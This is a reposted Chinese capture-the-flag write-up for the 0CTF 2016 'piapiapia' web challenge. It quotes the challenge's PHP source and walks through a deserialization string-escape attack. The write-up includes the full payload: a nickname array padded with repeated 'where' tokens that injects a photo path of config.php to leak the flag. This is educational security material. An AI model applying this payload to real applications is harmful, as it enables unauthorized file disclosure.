IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [0CTF 2016]piapiapia -> 正文阅读

[PHP知识库][0CTF 2016]piapiapia

[0CTF 2016]piapiapia

打开题目在这里插入图片描述什么也没有,扫描一下,扫目录可以扫到源码,www.zip解压后在这里插入图片描述在config.php里看见了flag,但不可读

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

upload.php

require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {

可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。用文章开头的知识点二,如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。
??在代码的后面调用update_profile处我们想到这个可能是将数据保存到数据库,而且还用了php序列化serialize(),我们可以大胆的尝试用反序列化漏洞来搞一下。
??我们再看看update_profile()到底是个啥,使用全局搜索我们在class.php中看到了定义的update_profile()方法

??public function update_profile($username, $new_profile) {
	$username = parent::filter($username);
	$new_profile = parent::filter($new_profile);

	$where = "username = '$username'";
	return parent::update($this->table, 'profile', $new_profile, $where);
}

我们再继续追寻下去
filter()

public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);

	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}

update()

public function update($table, $key, $value, $where) {
	$sql = "UPDATE $table SET $key = '$value' WHERE $where";
	return mysql_query($sql);
}

update.php我们基本上就搞清楚了,是先经过正则表达式将用户提交的参数值过滤,然后序列化,然后将非法的值替换为’hacker’
然后我们再看profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

我们可以看到这里有反序列化还有文件读取,flag在config.php中,而且有序列化,过滤替换,反序列化,文件读取,我们构造包含config.php的数据,利用字符串逃逸,在profile.php中读取出来
??反序列化字符逃逸
??有个问题,我们反序列化字符逃逸,首先序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢?

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

这里就是突破口,我们可以写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag
??简单说就是利用后端的函数替换,导致实际长度增加,增加的部分(config.php)被挤了出来,到了photo的位置上,然后闭合。
??思路有了,开始做题,先注册一个用户在这里插入图片描述登陆过后直接是更新,
??在这里插入图片描述
这一步抓个包修改nickname为nickname[],数组绕过长度检测,然后修改nickname的值为wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
在这里插入图片描述将修改后的数据包发送回服务器,在这里插入图片描述得到base64加密值,解密得到flag在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-03 10:56:29  更:2021-08-03 10:56:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 14:44:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码